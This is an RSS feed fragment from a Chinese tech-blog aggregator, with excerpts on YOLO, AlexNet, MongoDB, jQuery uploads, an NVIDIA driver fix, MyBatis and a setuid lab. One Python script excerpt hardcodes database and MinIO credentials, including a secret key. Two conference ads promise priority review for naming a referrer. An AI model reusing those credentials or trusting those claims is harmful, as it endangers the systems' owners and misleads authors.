      <description>论文地址：You Only Look Once:Unified, Real-Time Object Detection&#xA;论文学习 1. 摘要 YOLO的提出：作者提出了YOLO，这是一种新的目标检测方法。与传统的目标检测方法不同，YOLO将目标检测视为一个回归问题，直接从图像像素到边界框坐标和类别概率的映射。方法特点： 统一的架构：YOLO使用单一的神经网络直接从完整图像中预测边界框和类别概率。这种统一的架构使得YOLO在检测性能上可以进行端到端的优化。实时性能：YOLO极其快速。基础的YOLO模型可以实时处理图像，每秒处理45帧。而更小的版本，Fast YOLO，可以处理高达155帧每秒，同时仍保持较高的平均精度（mAP）。 性能比较： 与其他实时检测系统相比，YOLO在本地化错误方面表现更好，但在背景误判方面的表现较差。YOLO在从自然图像到其他领域（如艺术作品）的泛化能力方面优于其他检测方法，如DPM和R-CNN。 补充：YOLO将目标检测视为回归问题的理解 想象一下，你有一张包含多个物体的照片，比如一张客厅的照片，里面有沙发、电视和一只猫。现在，如果我们要用一个计算机程序来识别这张照片中的物体及其位置，这就是一个典型的目标检测问题。&#xA;在传统的目标检测方法中，这个过程通常分为两步： 定位：首先识别出照片中可能有物体的区域（比如沙发的位置、电视的位置和猫的位置）。分类：然后对这些区域进行分类，判断它们是什么物体（比如这是沙发、那是电视、还有一只猫）。 而在YOLO这种使用回归方法的目标检测中，这个过程被简化为一步： 程序一次性直接从照片中“预测”出每个物体的位置（用边界框坐标表示）和类别（用类别概率表示）。这里的“预测”就是回归问题中的输出。具体来说，对于照片中的每个物体（比如猫），YOLO会输出： 边界框坐标：这是一组连续的数值，描述了猫在照片中的确切位置。通常包括猫所在区域的左上角和右下角的坐标。类别概率：这是一组数值，表示这个区域是猫的概率有多高，以及它可能是其他类别（如沙发、电视）的概率。 所以，YOLO通过一次计算就能告诉我们：“在这个位置有一只猫，我有90%的把握它是猫，10%的可能是其他东西。” 这就是回归问题在YOLO中的应用。&#xA;一般来说，YOLO会预测五个值（中心x坐标，中心y坐标，宽度，高度，类别概率）。&#xA;2. 引言 人类视觉系统的效率：作者首先指出，人类能够迅速且准确地通过视觉系统识别图像中的物体、它们的位置以及它们之间的相互作用。这种能力使我们能够轻松地执行复杂任务，例如驾驶汽车。&#xA;计算机视觉的挑战：作者强调，如果能开发出快速且准确的目标检测算法，那么计算机将能够在没有特殊传感器的情况下驾驶汽车，为残疾人提供实时场景信息，甚至实现通用的、响应灵敏的机器人系统。&#xA;现有目标检测系统的局限性：&#xA;传统的目标检测系统通常将分类器重新用于检测。这些系统通过在测试图像中的不同位置和尺度上评估分类器来检测物体。例如，形变部件模型（DPM）使用滑动窗口方法，而最近的方法如区域卷积神经网络（R-CNN）使用区域提议方法来首先生成潜在的边界框，然后在这些提议的框上运行分类器。这些复杂的流程不仅速度慢，而且难以优化，因为每个组件都需要单独训练。 YOLO的提出：鉴于现有方法的这些局限性，作者提出了YOLO，这是一种全新的目标检测方法。 YOLO将目标检测视为一个单一的回归问题，直接从图像像素到边界框坐标和类别概率的映射。&#xA;3. 统一检测 目标检测的统一化：&#xA;YOLO方法将目标检测的多个组成部分统一到一个单一的神经网络中。这种统一化的方法使得从整个图像中直接预测边界框和类别概率成为可能。与传统的、由多个阶段组成的目标检测方法不同，YOLO的统一网络同时处理多个任务，包括特征提取、边界框预测和类别概率预测。 网络结构：&#xA;YOLO网络将输入图像划分为一个S×S的网格。如果某个物体的中心落在一个网格单元内，那么这个网格单元就负责检测该物体。每个网格单元预测B个边界框和这些框的置信度（confidence scores）。置信度反映了模型对框中包含物体的把握，以及预测框与实际框的匹配程度。每个边界框包含5个预测值：中心点的x和y坐标、宽度、高度和置信度。每个网格单元还预测C个条件类别概率，这些概率是在网格单元包含物体的条件下计算的。&#xA;训练和优化：&#xA;YOLO网络在整个图像上进行训练，直接优化检测性能，而不是像传统方法那样分别训练不同的组件。网络使用大量的真实图像进行训练，学习如何准确地预测物体的位置和类别。 实时性能：&#xA;由于YOLO将检测过程简化为单一网络的前向传递，因此它能够以非常快的速度运行，实现实时目标检测。YOLO的这种快速性能使其适用于需要实时反馈的应用，如自动驾驶汽车和机器人导航。 4. 训练 预训练卷积层： YOLO首先在ImageNet 1000类竞赛数据集上预训练其卷积层。这一步骤旨在让网络学习到丰富的特征表示，这些特征对于后续的目标检测任务至关重要。预训练使用的是网络的前20个卷积层，后接平均池化层和全连接层。 转换为检测模型： 在预训练完成后，模型被转换为目标检测模型。这包括在网络中添加额外的卷积层和全连接层，这些层的权重是随机初始化的。为了适应目标检测任务，输入图像的分辨率被提高到448×448。 损失函数： YOLO使用平方和误差作为其损失函数。这个选择简化了优化过程，但并不完全符合目标检测的最终目标，即最大化平均精度。损失函数对不同类型的误差（如定位误差、分类误差）进行加权，以处理不同重要性的误差。 训练细节： 在训练过程中，使用了多种技术来提高模型的泛化能力和减少过拟合。这包括dropout和数据增强（如随机缩放和平移图像，调整图像的曝光和饱和度）。训练使用不同的学习率安排，初始阶段使用较低的学习率，随后逐渐提高。 边界框预测的特殊处理： YOLO对边界框的宽度和高度预测使用平方根变换，以更好地处理不同大小的边界框。训练时，只有与真实边界框重叠最多的预测框被认为是“负责”该目标的，这有助于模型学习到更准确的边界框。 5. 推理 单次网络评估： 在推理（即目标检测）阶段，YOLO只需要对测试图像进行一次网络评估。这与传统的目标检测方法不同，后者可能需要多次评估来检测图像中的不同区域。这种单次评估方法使得YOLO能够快速处理图像，实现实时目标检测。 网格设计和空间约束： YOLO将输入图像划分为S×S的网格，并在每个网格单元内进行预测。这种设计强制实现了预测的空间多样性，即每个网格单元负责检测位于其内部的目标。这种方法有助于减少重复检测和提高检测的准确性。 边界框和类别预测： 对于每个网格单元，YOLO预测多个边界框和这些框的置信度，以及条件类别概率。置信度反映了模型对框中包含物体的把握，以及预测框与实际框的匹配程度。条件类别概率则表示在检测到物体的情况下，它属于各个类别的概率。 非极大值抑制： YOLO使用非极大值抑制（Non-maximal Suppression，NMS）来处理多个重叠的边界框。这一步骤有助于去除冗余的检测结果，确保每个物体只被检测一次。NMS通过保留置信度最高的边界框，并去除与其重叠度较高的其他边界框来实现。 实时性能： 由于YOLO的简单和高效，它能够在保持较高检测精度的同时，实现实时的处理速度。这使得YOLO适用于需要快速响应的应用场景，如视频监控、自动驾驶等。 6.</description>
    </item>
    <item>
      <title>MongoDB定容集合（Capped Collection）</title>
      <link>https://bchobby.github.io/posts/911c7b14a7aee16b4da1a05a465ff1b8/</link>
      <pubDate>Tue, 26 Dec 2023 15:45:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/911c7b14a7aee16b4da1a05a465ff1b8/</guid>
      <description>目录&#xA;定容集合&#xA;定容集合行为&#xA;使用场景&#xA;限制和建议&#xA;使用方法&#xA;构建定容集合&#xA;查询&#xA;确定集合是否定容&#xA;将集合转换成定容集合&#xA;修改空间大小&#xA;修改文档数量限制&#xA;末尾持续游标（tailable cursor）&#xA;Mongodb的文档保存在集合当中，类似关系型数据库当中的表。用户对集合进行增删改查操作。&#xA;定容集合 定容集合，是一种固定大小的集合。支持数据的快速插入和按照插入顺序的高速读取。定容集合工作机制类似循环缓存。当集合大小达到用户指定的大小时，新插入的数据会覆盖最早插入的数据。&#xA;作为定容集合的替代方案，用户还可以选择定时索引。建立索引是指定索引数据的过期时间。当插入数据的时间索引字段超过过期时间后，mongodb或自动清除该数据。本文终点探讨定容集合，定时索引内容请参照其他文档。&#xA;定容集合行为 定容集合容量大小是确定的，并且保证数据按照插入顺序排列，因此具有下面的几个行为。&#xA;数据按照插入时间排序，查询时无需构建其他时间字段索引来对文档查询顺序。因此提高了数据插入性能。自动删除最先插入的数据。当达到容量限制时，定容集合自动删除最先插入的数据，无需显示执行删除操作或额外的删除脚本。定容集合有_id字段和_id字段索引。 使用场景 针对定容集合高效插入和保证按照插入顺序读取数据的特性，定容集合适应下面两个场景&#xA;保存系统日志。 因为无需构建额外的索引，索引向定容集合插入数据时，具备与直接写入文件系统类似的性能。其先入先出的特性，保证了写入时间的顺序。因此适合用来保存系统日志。 mongodb的oplog就使用了定容集合。将定容集合作为缓存，保存少量数据。 限制和建议 自mongodb5开始，定容集合禁止使用snapshot读取方式当用户更新定容集合的数据时，可以添加索引避免全表扫描。当然，更新完成后，建议删除改索引。定容集合，不可分片使用默认排序可以高效的读取定容集合数据，这与在unix系统中使用tail方法读取日志文件类似。禁止使用$out方法向定容集合写入数据禁止在mongodb事务中向定容集合写入数据。 使用方法 构建定容集合 使用db.createCollection()方法，显式创建定容集合。定义定容集合时，必须指定集合空间大小。mongodb在分配定容集合存储空间时，按照256bytes的倍数来分配大小。mongodb计算出小于用户指定空间大小的最大的256的倍数。定容集合最大存储空间，不能超过1PB。&#xA;db.createCollection(&#34;&amp;lt;collectionName&amp;gt;&#34;, {capped: true, size: &amp;lt;collection_size&amp;gt;}) 其中，collection_size的单位是字节(bytes)&#xA;db.createCollection(&#34;log&#34;, {capped: true, size: 100000}) db.getCollectionInfos({name: &#34;log&#34;}) { &#34;name&#34; : &#34;log&#34;, &#34;type&#34; : &#34;collection&#34;, &#34;options&#34; : { &#34;capped&#34; : true, &#34;size&#34; : 100000 }, &#34;info&#34; : { &#34;readOnly&#34; : false, &#34;uuid&#34; : UUID(&#34;</description>
    </item>
    <item>
      <title>[DL]深度学习_AlexNet</title>
      <link>https://bchobby.github.io/posts/869289133f47f94e5b51c21879d92853/</link>
      <pubDate>Tue, 26 Dec 2023 15:44:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/869289133f47f94e5b51c21879d92853/</guid>
      <description>AlexNet网络详解&#xA;目录&#xA;一、AlexNet&#xA;1、详细介绍&#xA;2、网络框架&#xA;二、网络详解 1、首次使用ReLu激活函数&#xA;2、模型基本结构与双GPU实现&#xA;3、局部响应归一化(LRN)&#xA;4、重叠池化(Overlapping Pooling)&#xA;5、数据增强&#xA;6、Dropout&#xA;一、AlexNet 1、详细介绍 AlexNet是一种经典的卷积神经网络模型，由Alex Krizhevsky、Ilya Sutskever和Geoffrey E. Hinton于2012年提出。它是第一个在ImageNet比赛中获得冠军的深度神经网络模型，引领了深度学习在计算机视觉领域的发展。&#xA;AlexNet的结构包含了8个图层，其中前5个是卷积层，后3个是全连接层。下面是对每个图层的详细介绍：&#xA;输入层（Input Layer）：接受输入的图像，并进行预处理。ImageNet数据集的图像大小为224x224x3，即224个像素的高度、224个像素的宽度和3个颜色通道（RGB）。&#xA;卷积层1（Convolutional Layer 1）：使用96个大小为11x11x3的卷积核对图像进行卷积操作，步长为4，不进行零填充（zero-padding）。这一层的目的是提取低级特征，例如边缘和纹理等。&#xA;激活函数1（Activation Function 1）：在卷积层之后，通过ReLU（线性整流函数）激活函数处理卷积层的输出。ReLU函数将所有负值变为零，保留正值不变。这一步帮助网络更好地拟合数据。&#xA;池化层1（Pooling Layer 1）：使用大小为3x3的最大池化操作，步长为2。这一步有助于减小特征图的尺寸，并且在一定程度上保留重要的特征。&#xA;卷积层2（Convolutional Layer 2）：使用256个大小为5x5x48的卷积核对特征图进行卷积操作，步长为1，零填充。这一层进一步提取高级特征。&#xA;激活函数2（Activation Function 2）：同样使用ReLU函数对卷积层输出进行激活。&#xA;池化层2（Pooling Layer 2）：同样使用大小为3x3的最大池化操作，步长为2。这一步继续减小特征图的尺寸。&#xA;卷积层3（Convolutional Layer 3）：使用384个大小为3x3x256的卷积核对特征图进行卷积操作，步长为1，零填充。这一层进一步提取高级特征。&#xA;激活函数3（Activation Function 3）：同样使用ReLU函数对卷积层输出进行激活。&#xA;卷积层4（Convolutional Layer 4）：使用384个大小为3x3x192的卷积核对特征图进行卷积操作，步长为1，零填充。这一层继续提取高级特征。&#xA;激活函数4（Activation Function 4）：同样使用ReLU函数对卷积层输出进行激活。&#xA;卷积层5（Convolutional Layer 5）：使用256个大小为3x3x192的卷积核对特征图进行卷积操作，步长为1，零填充。这一层继续提取高级特征。&#xA;激活函数5（Activation Function 5）：同样使用ReLU函数对卷积层输出进行激活。&#xA;池化层3（Pooling Layer 3）：同样使用大小为3x3的最大池化操作，步长为2。这一步再次减小特征图的尺寸。&#xA;全连接层1（Fully Connected Layer 1）：有4096个神经元，将池化层输出的特征图展平为一个向量，并通过该层进行分类。&#xA;全连接层2（Fully Connected Layer 2）：有4096个神经元，同样用于分类。</description>
    </item>
    <item>
      <title>jquery上传图片单图多图</title>
      <link>https://bchobby.github.io/posts/35d1650fdcb7a748fed11a1edf74c40c/</link>
      <pubDate>Tue, 26 Dec 2023 15:38:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/35d1650fdcb7a748fed11a1edf74c40c/</guid>
      <description>主要用到的就是input里面的file，上传完成拿到文件流发给后端后端返回图片路径，让后前端展示出来。本篇文章包含单图上传和多图上传。最后有代码复制后更换上传接口，即可使用。 1.单图上传。 思路：拿到中间点击上传元素，点击后给父元素下面增加一个input标签，自触发点击事件并且监听input的上传如果上传成功，隐藏上传二维码元素再增加img元素。&#xA;2.多图上传。 思路：多图上传和单图上传方法都一样不过多了一点东西，那就是上传完之后要拿到的是个图片数组，所以我们要先var一个空数组，用来上传完毕后拿到上传的图片数组。每次上传成功都向数组里面push一个数据，删除就用splice这里也可以设置最大上传，用来做校验。&#xA;&amp;lt;!DOCTYPE html PUBLIC &#34;-//W3C//DTD XHTML 1.0 Transitional//EN&#34; &#34;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&#34;&amp;gt; &amp;lt;html xmlns=&#34;http://www.w3.org/1999/xhtml&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=utf-8&#34; /&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=Edge,chrome=1&#34;&amp;gt; &amp;lt;title&amp;gt;上传图片&amp;lt;/title&amp;gt; &amp;lt;meta name=&#34;keywords&#34; content=&#34;关键词&#34; /&amp;gt; &amp;lt;meta name=&#34;description&#34; content=&#34;描述&#34; /&amp;gt; &amp;lt;link href=&#34;https://bchobby.github.io/static/css/css.css&#34; rel=&#34;stylesheet&#34; type=&#34;text/css&#34; /&amp;gt; &amp;lt;script type=&#34;text/javascript&#34; src=&#34;https://bchobby.github.io/static/js/jquery.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script type=&#34;text/javascript&#34; src=&#34;https://bchobby.github.io/static/js/jquery.SuperSlide.2.1.1.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;style&amp;gt; .c_left2 .items { min-height: 45px; display: flex; margin-bottom: 24px; margin-top: 40px; } .c_left2 .items .left_text::before { content: &#39;*&#39;; display: inline-block; margin: 5px; color: #FF9C00; font-size: 14px; } .</description>
    </item>
    <item>
      <title>Failed to initialize the nvidia kernel module。Can‘t find org.freedesktop.portal.， no screens found</title>
      <link>https://bchobby.github.io/posts/ef93145abab372d0521691a54485ad23/</link>
      <pubDate>Tue, 26 Dec 2023 15:37:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef93145abab372d0521691a54485ad23/</guid>
      <description>系统：debian12&#xA;关机重启时没注意选上了自动更新系统软件，然后重启就打不开了。黑屏+左上角有光标闪烁。进不去图形化界面。&#xA;按ctrl+alt+F3切换命令行模式，查看日志：&#xA;cat /var/log/Xorg.0.log&#xA;显示，Failed to initialize the nvidia kernel module。no screens found (EE)。&#xA;这时候应该安装内核就完事了。&#xA;uname-r 得到系统内核版本，假设是 6.1.0-16-amd64，&#xA;然后下载 sudo apt-get install linux-headers-6.1.0-16-amd64 记得换(uname -r 的值)&#xA;应该就可以了。&#xA;然而，我并不知道这么回事，我把配置文件重命名&#xA;mv /etc/X11/xorg.conf /etc/X11/xorg.conf.org 这时候就能启动图形化界面了，只不过这时候驱动得重新装。&#xA;所以，下载相应版本的nvidia驱动，&#xA;NVIDIA GeForce 驱动程序 - N 卡驱动 | NVIDIANVIDIA GeForce 驱动程序官方提供下载最新版的 Geforce 驱动程序，可提升 PC 游戏体验和应用程序速度。更多关于更新显卡驱动程序以及显卡驱动程序下载的信息，请访问 NVIDIA 官网。https://www.nvidia.cn/geforce/drivers/&#xA;然后直接加权限运行，这方面有很多教程，比如：&#xA;Linux系统下的Nvida显卡驱动安装 - Fight!GO - 博客园 (cnblogs.com)https://www.cnblogs.com/Fight-go/p/15828351.html#:~:text=%E6%89%93%E5%BC%80%E7%BB%88%E7%AB%AF%EF%BC%8C%E8%BE%93%E5%85%A5%E5%A6%82%E4%B8%8B%E6%8C%87%E4%BB%A4%EF%BC%9A%20sudo%20apt%20install%20gcc%20libgtk,-3%20-dev%20libpolkit-gobject%20-1%20-dev%20%E5%AE%89%E8%A3%85%E6%88%90%E5%8A%9F%E7%9A%84%E8%AF%9D%E5%B0%B1%E5%8F%AF%E4%BB%A5%E8%BF%9B%E8%A1%8CNvida%E6%98%BE%E5%8D%A1%E9%A9%B1%E5%8A%A8%E7%9A%84%E5%AE%89%E8%A3%85%E4%BA%86%EF%BC%8C%E8%8B%A5%E6%8F%90%E7%A4%BA%E4%B8%8D%E8%83%BD%E5%AE%89%E8%A3%85%EF%BC%8C%E8%AF%B7%E8%87%AA%E8%A1%8C%E6%90%9C%E7%B4%A2%E8%A7%A3%E5%86%B3%EF%BC%8C%E5%A6%82%E6%9E%9C%E4%B8%8D%E8%A1%8C%E5%8F%AF%E4%BB%A5%E8%AF%84%E8%AE%BA%E9%97%AE%E7%AC%94%E8%80%85%EF%BC%8C%E7%AC%94%E8%80%85%E4%BC%9A%E5%B8%AE%E5%BF%99%E8%A7%A3%E5%86%B3%E7%9A%84%E3%80%82</description>
    </item>
    <item>
      <title>android RecyclerView1.3.2与NestedScrollingParent的变化</title>
      <link>https://bchobby.github.io/posts/e8b1f3eb70497868abe5932f63f3fa1d/</link>
      <pubDate>Tue, 26 Dec 2023 15:33:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8b1f3eb70497868abe5932f63f3fa1d/</guid>
      <description>这篇文章，可能不懂的人将会不知所云，懂的自然懂，不懂的可能需要遇到类似问题回头来看我的帖子好了。&#xA;RecyclerView1.3.0+版本，与1.2.1版本有一个比较大的变化是：内部对于edge的处理不同。&#xA;edge是什么？&#xA;就是当我们下拉或者上拉（横向RecyclerView则是左右拉），会有一个极限。当到了极限，则会出现边缘效果，就是有一个额外的小头部效果贴在边上。并且，RecyclerView就会出现简单的拉伸变长，以表现它无法继续滑动的现象。&#xA;而我们经常会开发下拉刷新功能。那么，就相当于用一个ParentConstraintLayout（以下用parent代替）内部持有一个子View RecyclerView（以下用rcv代替）。&#xA;我通过自行解压RecyclerView库1.3.2和1.2.1的代码来对比，最大的差异为：&#xA;public boolean onTouchEvent(MotionEvent e) { ... if (mScrollState == SCROLL_STATE_DRAGGING) { mReusableIntPair[0] = 0; mReusableIntPair[1] = 0; dx -= releaseHorizontalGlow(dx, e.getY()); //1.3.2多出来的 dy -= releaseVerticalGlow(dy, e.getX()); //1.3.2多出来的 //触发NestedScroll框架的必须 if (dispatchNestedPreScroll( canScrollHorizontally ? dx : 0, canScrollVertically ? dy : 0, mReusableIntPair, mScrollOffset, TYPE_TOUCH )) { dx -= mReusableIntPair[0]; dy -= mReusableIntPair[1]; // Updated the nested offsets mNestedOffsets[0] += mScrollOffset[0]; mNestedOffsets[1] += mScrollOffset[1]; // Scroll has initiated, prevent parents from intercepting getParent().</description>
    </item>
    <item>
      <title>mybatis</title>
      <link>https://bchobby.github.io/posts/f0d71b77ac2ea991f39f9dfdd5e985b5/</link>
      <pubDate>Tue, 26 Dec 2023 15:01:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0d71b77ac2ea991f39f9dfdd5e985b5/</guid>
      <description>resultType和resultMap功能类似 ，都是返回对象信息 ? resultMap 高级映射 ：（resultMap） 如果查询出来的列名和pojo的属性名不一致，通过定义一个resultMap对列名和pojo属性名之间作一个映射关系。（高级映射，字段名称可以不一致，通过映射来实现&#xA;单表查询 关联查询（一对一） resultMap对于一对一表连接的处理方式通常为在主表的pojo中添加嵌套另一个表的pojo，然后在mapper.xml中采用association节点元素进行对另一个表的连接处理。例如&#xA;订单查询关联用户的resultMap&#xA;将整个查询的结果映射到cn.itcast.mybatis.po.Orders中&#xA;association:&#xA;作用：将关联查询信息映射到一个pojo对象中&#xA;关联查询（一对多） resultMap的处理方式为在订单表数据的pojo中添加一个list,list中为订单明细表的属性，在mapper.xml中采用如下的处理方式：&#xA;订单及订单明细的resultMap&#xA;使用extends继承，不用在中配置订单信息和用户信息的映射&#xA;collection：&#xA;作用：将关联查询信息映射到一个list集合中。&#xA;resultType 基本映射 ：（resultType）使用resultType进行输出映射，只有查询出来的列名和pojo中的属性名一致，该列才可以映射成功。（数据库，实体，查询字段,这些全部都得一一对应）&#xA;SQL删除数据空格函数 1、Trim()函数：前后空格 用来删除数据左右两边（开始和结尾处）的空格。&#xA;2、RTrim()函数：后面空格 用来删除数据右边（结尾处）的空格。&#xA;3、LTrim()函数：前面空格 用来删除数据左边（开始处）的空格。&#xA;注意：Trim()、RTrim()、LTrim() 函数不光可以用于SELECT语句中，还可以用于WHERE等语句中。&#xA;4、Replace函数：中间空格 字符中的空格，用replace(string, &#39; &#39;, &#39;&#39;)&#xA;语法： Mybatis之&amp;lt;trim prefix=&#34;&#34; suffix=&#34;&#34; suffixOverrides=&#34;&#34; prefixOverrides=&#34;&#34;&amp;gt;&amp;lt;/trim&amp;gt;&#xA;prefix: 在trim标签内sql语句加上前缀。&#xA;suffix: 在trim标签内sql语句加上后缀。&#xA;prefixOverrides: 指定去除多余的前缀内容&#xA;suffixOverrides: 指定去除多余的后缀内容，如：suffixOverrides=&#34;,&#34; 去除trim标签内sql语句多余的后缀&#34;,&#34; 概述： MyBatis 是一款优秀的持久层框架&#xA;它的前身是IBatis&#xA;它支持定制化 SQL、存储过程以及高级映射。&#xA;它是一个半自动化的ORM（对象 关系 映射）映射框架&#xA;MyBatis的前身就是iBatis,iBatis本是apache的一个开源项目，2010年5月这个项目由apahce sofeware foundation 迁移到了google code，并且改名为MyBatis。&#xA;MyBatis 是支持普通 SQL 查询,存储过程和高级映射的优秀持久层框架。MyBatis 消除了几乎所有的 JDBC 代码和参数的手工设置以及结果集的检索。</description>
    </item>
    <item>
      <title>算法测试流程脚本工具站</title>
      <link>https://bchobby.github.io/posts/8b45f6892004746157541405ca8b38a7/</link>
      <pubDate>Tue, 26 Dec 2023 14:58:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b45f6892004746157541405ca8b38a7/</guid>
      <description>🍉一、录入sql和批量上传minIo图片， 录入sql（掠过）...,&#xA;一个上传，一个下载，只需上传，找到&#xA;def upload(): # NOTE：Step:3 把拉下来的图片传上去给XXX服务器的minio up_data_minio(&#34;test&#34;, image_Urls_path=&#39;res&#39;) 修改image_Urls_path，为批量上传图片目录位置。 找到&#xA;# 上传图片到minio def up_data_minio(bucket: str, image_Urls_path=&#39;imageUrlFromminIO&#39;): # TODO：minio_conf唯一要修改的地方！ minio_conf = { &#39;endpoint&#39;: &#39;10.168.1.96:9000&#39;, # &#39;endpoint&#39;: &#39;172.20.0.67:9000&#39;, &#39;access_key&#39;: &#39;minioadmin&#39;, # &#39;access_key&#39;: &#39;root&#39;, &#39;secret_key&#39;: &#39;minioadmin&#39;, # &#39;secret_key&#39;: &#39;Lidar4d@#321&#39;, &#39;secure&#39;: False } 修改minio_conf为需要上传到指定minIO的绑定信息。 import minio import pymysql import openpyxl import os def get_data_from_mysql(): # 连接数据库- conn = pymysql.connect(host=&#34;10.168.1.94&#34;, user=&#34;root&#34;, passwd=&#34;root&#34;, db=&#34;RemotePatrolDB&#34;, port=3369, charset=&#34;utf8&#34;) cur = conn.cursor() # 创建游标对象 # 查询表中数据 cur.</description>
    </item>
    <item>
      <title>2024年测量、信号处理与深度学习国际会议（ICMSPDL 2024）</title>
      <link>https://bchobby.github.io/posts/3e33745c82ad4e142f014c9d2bb7bbd8/</link>
      <pubDate>Tue, 26 Dec 2023 14:56:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e33745c82ad4e142f014c9d2bb7bbd8/</guid>
      <description>2024年测量、信号处理与深度学习国际会议（ICMSPDL 2024）&#xA;2024 International Conference on Measurement, Signal Processing, and Deep Learning&#xA;ICMSPDL 2024是一个汇集行业和学术界的顶级论坛。会议将邀请国内外知名专家就信号处理、测量、深度学习方法和技术领域的技术进展、研究成果和应用进行专题报告，并进行学术交流。我们诚挚邀请国内外相关高校和研究机构的研究人员以及企业的工程技术人员参加会议。&#xA;征稿主题&#xA;（以下主题包括但不限于）&#xA;测绘学&#xA;海洋测绘&#xA;摄影测量&#xA;大地测量&#xA;水文测量&#xA;矿山测量&#xA;工程测量&#xA;重力测量&#xA;航空摄影测量&#xA;地图制图&#xA;精密仪器制造&#xA;图形图象复制技术&#xA;传感器技术&#xA;测绘技术&#xA;测绘仪器&#xA;考古测绘&#xA;信号处理与检测&#xA;雷达和声纳信号处理&#xA;通信信号处理&#xA;音频和声音信号处理&#xA;传感器阵列和多通道信号处理&#xA;多媒体信号处理&#xA;语音和语言处理&#xA;图像和视频处理&#xA;计算机视觉和机器人技术的信号处理&#xA;优化方法&#xA;计算成像/光谱成像&#xA;机器学习&#xA;通过图形和网络进行信号处理&#xA;压缩感知和稀疏建模&#xA;非线性信号处理&#xA;统计信号处理&#xA;物联网信号处理&#xA;信息取证和安全&#xA;教育信号处理&#xA;大数据信号处理&#xA;电力系统的信号处理&#xA;信号处理系统的设计/实现&#xA;认知架构&#xA;常识推理&#xA;机器学习&#xA;可视化推理&#xA;智能化叙事&#xA;认知架构&#xA;常识推理&#xA;机器学习&#xA;可视化推理&#xA;投稿邮箱：ieee_conf@163.com （投稿时请在邮件正文备注：苏老师推荐，将享有优先审稿及录用和学生优惠价）&#xA;论文出版&#xA;所有投稿都必须先经过2-3位专家审稿，评审录用后，文章将以会议论文集的形式出版，最终提交EI Compendex、Scopus 和Inspec检索。</description>
    </item>
    <item>
      <title>检索稳定▉2024年能源、信息技术与科学应用国际会议（ICEITSA 2024）</title>
      <link>https://bchobby.github.io/posts/eec19db0907d93e3bf1ae274cdb146b0/</link>
      <pubDate>Tue, 26 Dec 2023 14:55:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eec19db0907d93e3bf1ae274cdb146b0/</guid>
      <description>检索稳定▉2024年能源、信息技术与科学应用国际会议（ICEITSA 2024） 2024 International Conference on Energy, Information Technology, and Scientific Applications&#xA;2024年能源、信息技术与科学应用国际会议（ICEITSA 2024）定于三亚举行。会议主要讨论了能源资源和信息技术等研究领域。会议旨在为从事能源材料和科学研究的专家、学者、工程技术人员和技术研究人员提供一个平台，分享科学研究成果和前沿技术，了解学术发展趋势，拓宽研究思路，加强学术研究和探索，推动学术成果产业化。大会诚挚邀请国内外高校专家、科研机构专家、学者、工商界人士及其他相关人员参加交流。 大会主题: (主题包括但不限于, 更多主题请咨询会务组苏老师)&#xA;能源材料&#xA;储能技术&#xA;节能技术&#xA;能源化学工程&#xA;能源安全与清洁使用&#xA;能源设备与技术&#xA;热物理与热工程&#xA;绿色能源&#xA;通信工程&#xA;通讯网络&#xA;物联网（IoT）&#xA;新面板显示&#xA;云计算&#xA;语音处理和图像处理&#xA;模式识别与装置&#xA;信息系统与安全&#xA;模式识别与人工智能&#xA;实时信号与处理&#xA;信息管理与信息处理&#xA;5G 通信与信号处理&#xA;5G应用技术、发展与服务标准&#xA;智能通信开发与软件开发&#xA;通讯安全和隐私&#xA;应用数值分析&#xA;图论集&#xA;蒙特卡洛方法&#xA;分子动力学&#xA;模型拟合与数据分析&#xA;计算数学&#xA;计算物理学&#xA;计算化学&#xA;计算金融学&#xA;大型科学和工程计算&#xA;社会计算&#xA;量子计算&#xA;以人为本的计算&#xA;机器学习&#xA;网络分析&#xA;模式识别&#xA;分布式和并行系统&#xA;高性能计算与算法&#xA;基于Web和网格的计算和模拟&#xA;Matlab编程与应用&#xA;认知计算&#xA;云计算&#xA;嵌入式计算&#xA;可伸缩计算&#xA;移动计算&#xA;投稿邮箱：intee_conf@163.com&#xA;【投稿时请附言:“论文投稿+苏老师推荐,申请优惠价”。方便安排审稿，避免文章遗漏，以及后续增值税普票（专票）、论文集寄送等】&#xA;会议论文投稿与参会说明</description>
    </item>
    <item>
      <title>Linux中的SetUid和capability权能机制</title>
      <link>https://bchobby.github.io/posts/952eadf1e4cf5896892b49af89a697dd/</link>
      <pubDate>Tue, 26 Dec 2023 14:48:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/952eadf1e4cf5896892b49af89a697dd/</guid>
      <description>中国科学院大学操作系统安全课小实验。&#xA;1. 前置知识 以下内容来自课件。&#xA;1.1 用户划分和访问控制 用户划分&#xA;访问控制 r读 w写 x执行&#xA;访问控制&#xA;实现举例&#xA;实现举例&#xA;1.2 特殊权限的访问控制setuid/setgid 必须有一种方法，允许用户执行那些只有超级用户或者管理者才有读写权限的程序或命令。&#xA;概念讲解&#xA;设置UID passwd的拥有者（也就是root）原本对passwd有执行权限，所以passwd拥有者对它的访问控制从rwx变成了rws。&#xA;设置GID 设置粘滞位STICKY 小测试 增加问题：&#xA;当进程P显示England时，对文件filex有什么访问权限？当进程P显示Australia时，对文件filex有什么访问权限？ 1.3 权能体系capabilites 权能体系提出背景&#xA;权能体系目的&#xA;完整的权能列表请见第二章实验内容。&#xA;权能列表&#xA;2. 实验内容 实验环境：Ubuntu 18.04 64位&#xA;第一题 Q：解释“passwd”,“sudo”, “ping”等命令为什么需要setuid位，去掉s位试运行，添加权能试运行。&#xA;A：&#xA;① 